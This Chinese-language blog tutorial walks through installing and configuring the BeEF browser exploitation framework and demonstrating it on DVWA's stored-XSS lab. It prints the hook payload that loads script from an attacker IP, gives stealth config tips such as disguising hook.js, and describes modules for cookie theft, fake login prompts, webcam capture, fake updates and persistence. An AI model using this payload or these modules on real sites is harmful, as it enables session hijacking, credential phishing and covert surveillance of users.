XSS自动化工具——Beef
Beef的使用
- 一、Beef简介
- 二、beef的下载安装
- 三、Beef配置
- 四、Beef的使用
- 五、Beef的主要功能
在我的记忆之中之前是有些过关于beef这款工具的使用的文章的,然而最近整理博客,一看,发现怎么没有了,可能是我忘了吧,或者可能也可能是在梦里写了。。。今天来写一下吧
一、Beef简介
Browser Exploitation Framework (BeEF)
BeEF 是目前最强大的浏览器开源渗透测试框架,通过xss漏洞配合JS脚本和Metasploit进行渗透,
BeEF 是基于Ruby语言编写的,并且支持图形化操作,操作简单。
beef官方网站:http://beefproject.com/
工程框架:
在这里插入图片描述zombie(僵尸)即受害的浏览器。zombie是被hook(勾连)的,如果浏览器访问了有勾子(由js编 写)的页面,就会被hook,勾连的浏览器会执行初始代码返回一些信息,接着zombie会每隔一段时间 (默认为1秒)就会向BeEF服务器发送一个请求,询问是否有新的代码需要执行。BeEF服务器本质上就 像一个Web应用,被分为前端UI,和后端。前端会轮询后端是否有新的数据需要更新,同时前端也可以向后端发送指示, BeEF持有者可以通过浏览器来登录BeEF 的后台管理UI。
二、beef的下载安装
kali自带beef
如果没有的话通过以下方式进行下载安装
apt-get update
apt-get install beef-xss
安装完之后开始 beef
cd /usr/share/beef-xss/ # 切换到beef所在目录
./beef # 启动 beef
启动 beef 出现
[!] ERROR: Don’t use default username and password!
|_ Change the beef.credentials.passwd in /etc/beef-xss/config.yaml
然后根据提示去修改配置。
vim /etc/beef-xss/config.yaml
可以进行更改账号密码
修改完之后,Beef安装即为成功
接下来启动beef
在命令行输入命令:beef-xss
即可启动beef,自动弹出beef浏览器窗口,输入账号密码即可进入
三、Beef配置
kali下的BeeF配置文件在 /usr/share/beef-xss/config.yaml,其它的配置文件也在这个目录的子目录下,往后在使用某些功能时,需要修改对应的配置文件。自主安装的BeeF配置文件会在BeeF的主目录 下config.yaml,建议修改几个地方:
permitted_hooking_subnet: “0.0.0.0/0” #指定某个网段,只有在这个网段的浏览器才能被hook
permitted_ui_subnet: “0.0.0.0/0” #指定某个网段,只有在这个网段的浏览器才能访问管理UI
#上面这两项都是可以被绕过的,只要使用X-Forwarded-For首部绕过,一般不需要设置
host: “0.0.0.0” #设置beef服务器的主机, 如果有自己的域名, 那么可以设置自己的域名, 没有就使用默认
port: “3000” #设置beef服务器监听的端口, 可以自己定一个,比如8080, 记得端口号需要大于1024
xhr_poll_timeout: 1000 #受害浏览器轮询beef主机的时间, 默认为1秒,可以设置为更低。
public: “” #public hostname/IP address
public_port: “” #experimental
# 这是让BeEF运行在一个反向代理或者NAT环境下才需要设置的。
web_ui_basepath: “/ui” #管理页面的URI, 默认是/ui, 建议修改,这样就不会让别人找到你的管理页面
hook_file: “/hook.js” #hook_file 的名称, 建议修改, 可以修改为jquery.js之类的来提升隐蔽性
credentials: user: “beef” passwd: “beef” #管理页面登录的用户名和密码, 这个一定要改,两个都改是最好的
四、Beef的使用
首先看登录成功的页面,左边有两个文件夹样式的东东,很好理解,就是字面意思,在线浏览器和不在线浏览器
利用
钩子命令:<script src="http://<IP>:3000/hook.js"></script>
这里用DVWA里的XSS漏洞靶场来做利用beef攻击的演示
这里的XSS存储型靶场它还有字符串长度的限制,我们先按F12进入源代码来修改一下长度限制
然后就可以在留言输入框中插入恶意的script代码了。把我们上面的beef钩子代码粘贴进去,其中ip为kali攻击机ip
在修改浏览器前端限制输入长度后,插入 <script src="http://192.168.2.131:3000/hook.js"></script>
成功插入,然后我再用我kali去访问一下,
可以发现在线浏览器多了两个,一个是win10我刚刚插入时上去的,另一个是我的kali浏览了中招的。
我们可以点击进行相关操作。
点击当前在线的主机,然后右边会有选择框(弹框如上),我们点击 Current Browser ,然后下面就有一些功能项:Details、Logs、Commands、XssRays、Network、WebRTC
- Details是浏览器信息详情
- Logs能记录你在浏览器上的操作,点击,输入操作都能记录
- Commands是你能对该浏览器进行哪些操作
Logs
记录了被攻击者在植入脚本的页面进行的操作,如:鼠标点击、输入内容。
Commands
点击Command,这里有一些我们可以使用的功能分类,一共有12个大的功能,括号里面的数字是每个功能分类里面的个数。
Broser:主要是针对浏览器的一些信息收集或攻击,其下的子选项卡Hooked Domain主要是获取HTTP属性值,比如cookie、表单值等,还可以做 写简单的浏览器操作,比如替换href值,弹出警告框,重定向浏览器等。这个选项卡下的有些模块会根据受害者的浏览器来决定是否显示。主要是浏览器通用操作和其他基本信息检测。
Chrome extensions:主要是针对谷歌浏览器扩展插件
Debug:调试功能
Exploits:漏洞利用,主要利用一些已公开的漏洞进行攻击测试
Host:针对主机,比如检测主机的浏览器、系统信息、IP地址、安装软件等等
IPEC:协议间通信。主要是用来连接、控制受害者浏览器的
Metasploit:Beef可通过配置和metasploit平台联合,一旦有受害者出现,可通过信息收集确定是否存在漏洞,进一步方便metasploit攻击测试
Misc:杂项。
Network:网络扫描
Persistence:维护受害者访问
Phonegap:手机测试
Social engineering:社会工程学攻击
绿色模块:可以执行且目标不可见
红色模块:不适合当前目标
橙色模块:可以执行但目标可见
灰色模块:未在目标浏览器上测试过
点击对应的功能后,点击右下角按钮执行,执行之后可以查看执行结果。
- Get Cookie 该模块将从当前页面检索会话cookie。
- Get From Vakues 该模块检索页面上所有输入字段的名称,类型和值。
- Get Page HREFs 该模块将从目标页面检索所有超链接。
- Get Page HTML 该模块将从当前页面检索HTML。
- Get Page and iframe HTML 该模块将从当前页面和任何iframe(具有相同来源)中检索HTML。
- Remove stuck iframe 该模块将删除所有卡住的iframe(请注意,它将删除该节点上的所有iframe!)。
- Replace HREFs 该模块将重写所有匹配链接的所有href属性。
- Replace HREFs(click Events) 该模块将使用Bilawal Hameed对click事件处理的更新来重写所有匹配链接的所有href属性。这将隐藏所有更新链接的目标站点。(意识是鼠标点向超链接,超链接任然会下会显示原来的链接,但是点击之后跳转到指定的网站)
- Replace HREFs (HTTPS) 该模块将重写HTTPS链接的所有href属性,以使用HTTP代替HTTPS。相对于Web根的链接不会被重写。
- Replace HREFs (TEL) 此模块将重写电话链接的所有href属性(即tel:5558585)以拨打您选择的号码。
- Fingerprint Ajax 钩住的页面上有指纹Ajax和JS库。
- Overflow Cookie Jar 该模块尝试执行John Wilander的CookieJar溢出。他在Owasp 1-liner项目中证明了这一点。使用此模块,可以擦除具有HTTPOnly标志和/或HTTPS标志的cookie。之后,您可以尝试重新创建这些cookie作为普通cookie。
- Create Alert Dialog 将警报对话框发送到挂钩的浏览器。
- Create Prompt Dialog 将结束对话框的提示对话框。(这个可以填入,您的密码已过期,请重新输入。然后beef这边会接收输入的数据)
- Redirect Browser 该模块会将选定的已挂钩的浏览器重定向到“重定向URL”输入中指定的地址。(直接重定向跳转)
- Redirect Browser (Rickroll) 用全屏Rickroll覆盖受害者所在页面的正文。(受害者页面全屏变白了)
- Redirect Browser (iFrame) 他的模块创建了100%x 100%的重叠iframe,并使浏览器始终挂在框架上。iframe的内容,页面标题,页面快捷方式图标和时间延迟在以下参数中指定。URL栏的内容在挂钩的浏览器中不会更改。(此时虽然页面变了,但只是iframe的作用,所以主机不会掉线,但是如果其他直接重定向跳转到其他链接,主机就会掉线)
- Replace Component (Deface) 覆盖挂钩页面的特定组件。
- Replace Content (Deface) 覆盖页面上的页面,标题和快捷方式图标。
- Replace Videos 使用包含您选择的youtube视频的嵌入标签(默认为rickroll)替换用jQuery选择的对象(默认情况下为所有嵌入标签)。
这里挑几个有趣的详细说一下
- Play Sound 在挂钩的浏览器上播放声音。
- Webcam 该模块将向用户显示Adobe Flash“允许网络摄像头”对话框。用户必须单击允许按钮,否则该模块将不返回图片。可以定制说服用户的标题/文本。您可以自定义要拍摄的照片数量和间隔时间(默认情况下将拍摄20张照片,每秒1张照片)。图片以base64编码的JPG字符串发送。
- Webcam Pemission Check 该模块将检查用户是否已允许BeEF域(或所有域)使用Flash访问摄像头和麦克风。该模块是透明的,用户不应检测到该模块(即不会出现请求权限的弹出窗口)
Social Engineering 栏目也有好多有趣的功能。
- Fake Flash Update 提示用户将更新安装到Adobe Flash Player。交付的有效负载可以是自定义文件,浏览器扩展或任何特定的URI。提供的BeEF Firefox扩展禁用PortBanning(端口20、21、22、25、110、143),启用Java,覆盖UserAgent和默认的home / new_tab页面。请参阅/ extensions / ipec / files / LinkTargetFinder目录,以获取Firefox扩展源代码。Chrome扩展程序交付可在<= 20的Chrome上运行。从Chrome 21开始,在扩展程序的加载方式方面发生了一些变化。请参阅/extensions/demos/flash_update_chrome_extension/manifest.json了解更多信息以及适用于最新版Chrome的示例扩展。
- Fake Notification Bar (Firefox) 在屏幕顶部显示一个假通知栏,类似于Firefox中显示的通知栏。如果用户单击通知,将提示他们下载恶意的Firefox扩展(默认情况下)。
- Pretty Theft 使用浮动div询问用户其用户名和密码。
Persistence
- Create Pop Under 该模块在带有BeEF挂钩的窗口下创建一个新的谨慎弹出窗口。另一个浏览器节点将被添加到挂钩的浏览器树中。现代浏览器默认情况下会阻止弹出窗口,并警告用户该弹出窗口已被阻止(除非允许起源来生成弹出窗口)。但是,对于某些用户启动的事件(例如单击页面),将绕过此检查。使用下面的“ clickjack”选项添加一个事件处理程序,当用户单击页面上的任意位置时,该事件处理程序将生成弹出窗口。多次运行模块将为一次单击事件产生多个弹出窗口。注意:移动设备可能会在顶部打开新的弹出窗口或重定向当前窗口,而不是在后台打开。
Create Pop Under
该模块在带有BeEF挂钩的窗口下创建一个新的谨慎弹出窗口。另一个浏览器节点将被添加到挂钩的浏览器树中。现代浏览器默认情况下会阻止弹出窗口,并警告用户该弹出窗口已被阻止(除非允许起源来生成弹出窗口)。但是,对于某些用户启动的事件(例如单击页面),将绕过此检查。使用下面的“ clickjack”选项添加一个事件处理程序,当用户单击页面上的任意位置时,该事件处理程序将生成弹出窗口。多次运行模块将为一次单击事件产生多个弹出窗口。注意:移动设备可能会在顶部打开新的弹出窗口或重定向当前窗口,而不是在后台打开。
图中可见,中招的主机级别提高了,此时就算关了浏览器中的窗口,也不会下线,因为此选项执行后,会在电脑右下角生成一个小化的窗口访问192.168.1.245:3000/demos/plain.html,从而控制受害者。
这个工具上我们主要可以看到存储型XSS的危害。
五、Beef的主要功能
1、信息收集
- 网络发现
- 主机信息
- cookie获取
- 会话劫持
- 键盘记录
- 插件信息
2、持久化控制
- 确认弹框
- 小窗口
- 中间人
3、社会工程
- 点击劫持
- 弹窗告警
- 虚假页面
- 钓鱼页面
4、渗透攻击
- 内网渗透
- 结合Metasploit利用
- CSRF攻击
- DDOS攻击
XSS自动化工具——Beef相关推荐
- 怎样利用超图客户端打点_渗透测试——XSS利用工具BeEF攻击演示
跨站脚本漏洞(Cross-site scripting,通常简称为XSS)发生在客户端,可被用于进行窃取隐私.钓鱼欺骗.窃取密码.传播恶意代码等攻击.XSS攻击使用到的技术主要为HTML和Javasc ...
- 一个好玩的工具BeEF介绍
beef BeEF-XSS是一款非常强大的web框架攻击平台,集成了许多payload,可以实现许多功能 BeEF-XSS可以说是最强大的XSS漏洞利用工具,可以收集浏览器信息.键盘记录.社会工程等 ...
- python 自动化办公 案例_python自动化工具之pywinauto实例详解
python自动化工具之pywinauto实例详解 来源:中文源码网 浏览: 次 日期:2019年11月5日 [下载文档: python自动化工具之pywinauto实例详解.txt ] (友情提示: ...
- 推荐一个工作流自动化工具
以下文章来源方志朋的博客,回复"666"获面试宝典 今天,要和大家分享一个"开源"工作流自动化工具--n8n ,简单来说,它是一个与其他应用程序集成的应用程序, ...
- 前端自动化工具 grunt 插件 uglify 的简单使用(一)
Grunt 的简介: Grunt 是一套前端自动化工具,是一个基于 node.js 的命令行工具,它一般用于: 1.压缩文件: 2.合并文件: 3.简单的语法检测: 4.监听文件变动: 5.less ...
- 在 CentOS 7 中安装并使用自动化工具 Ansible
Ansible是一款为类Unix系统开发的自由开源的配置和自动化工具.它用Python写成,类似于Chef和Puppet,但是有一个不同和优点是我们不需要在节点中安装任何客户端.它使用SSH来和节点进 ...
- python 网页自动处理_推荐一款 10 行 Python 代码实现网页自动化工具
各种各样的网站在我们日常工作和学习中占据着举足轻重的地位,学习.影音娱乐.查询资料.协同办公,越来越多的任务都被迁移到浏览器 因此,网页也蕴含着很多有价值.我们能够用得到的资源 例如,数据.歌曲.影视 ...
- gulp前端自动化工具的快速入门案例
最近项目和工作中要开始使用自动化工具了,回想一下以前接触这个的时候就是什么nodejs,grunt之类的了,这次干脆就用一个新的,那么就是gulp... 全局下利用npm安装gulp sudo npm ...
- android开发获取应用本身耗电量_别找了,Android常用自动化工具全在这儿了!
Android常用自动化工具 ADB - 是Google提供的为Android编写UI测试用例的自动化工具, Android开发/测试人员不可替代的强大工具 uiautomator - 是Google ...
- 自动化工具之二:win32gui
自动化工具win32gui 一.下载安装win32gui 二.Win32gui的使用 1.查找窗体句柄 我们知道的所有空间其实就是窗体,所有的窗口都有一个独立的句柄,要操作任意一个窗体,你都需要找到这 ...
最新文章
- linux 统计日志数量总,shell统计日志中时间段内匹配的数量的方法
- 编译 / __attribute__(constructor)和__attribute__(destructor)
- Java IO 节点流与处理流类型
- 财务管理(Finance Management)
- API Gateway——KONG简单入门
- Linux如何从普通用户切换到root用户
- 特别引人注目的头像_设计样式指南:构建引人注目的产品的要素
- Cookie、Session和Storage
- java 泛型详解-绝对是对泛型方法讲解最详细的,没有之一,大厂 HR 如何面试
- 我为什么离开德国顶级传统大厂IT部
- 双11猫晚直播:看阿里文娱如何“擒住”高并发、多视角、低卡顿!
- 72张三国历史演变地图
- 上完选修计算机绘图课心得,计算机绘图学习心得体会.doc
- 微星性能测试软件,MSI Kombustor
- 关于王者荣耀技术背景的文章
- 【Language model】使用RNN LSTM训练语言模型 写出45°角仰望星空的文章
- 读论文:BERT Pre-training of Deep Bidirectional Transformers for Language Understanding
- 俞敏洪励志演讲稿【三】
- 深入浅出统计学读书笔记:离散概率分布的应用
- oracle goldengate实战指南,Oracle GoldenGate 11g官方文档Administrator’s Guide续三
热门文章
- 安卓root之后交管123123 20秒闪退和中国农业银行app 6.0闪退的解决方法
- PDF417二维条码详解
- Web浏览器没有Flash如何播放RTMP协议直播
- pom文件中的dependencyManagement和dependency
- ISDN-PRI,1号,7号信令的基础知识
- html生物代码,方块方舟全物品代码 生物召唤代码大全
- Xcode低版本运行高版本真机(xcode9联调真机iOS12 系统)
- javplayer 使用教程_童装裁剪之连衣裙打版教程 有图纸
- python游戏程序代码大全_童年游戏,Python一行代码就能实现!
- Crack内网通积分规则(基于版本3.4.3035)